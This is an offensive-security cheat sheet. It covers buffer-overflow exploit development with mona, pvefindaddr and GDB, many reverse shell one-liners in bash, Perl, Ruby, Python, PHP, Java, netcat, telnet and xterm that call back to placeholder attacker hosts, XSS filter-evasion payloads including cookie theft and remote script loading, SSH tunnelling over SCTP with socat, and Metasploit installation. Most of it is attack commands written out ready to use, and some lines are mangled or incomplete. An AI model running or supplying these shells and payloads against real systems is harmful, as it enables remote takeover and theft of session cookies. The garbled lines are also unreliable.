\x00\x0a\x0d\x20 For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest

SEH - Structured Exception Handling

# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)

# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

ASLR - Address space layout randomization

# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

EGG Hunter techniques

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'

GDB Debugger Commands

# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH Reverse Shell

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

PERL Reverse Shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

RUBY Reverse Shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP Reverse Shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT Reverse Shell

nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

TELNET Reverse Shell

# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm

XSS Cheat Codes

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;>

<IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">

perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>

SSH Over SCTP (With Socat)

# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337

Install Metasploit Community Edition in Kali 2.0

# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run

# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...

# activate your metasploit license
https://localhost:3790

# update metasploite
$ /opt/metasploit/app/msfupdate

# use msfconsole
$ /opt/metasploit/app/msfconsole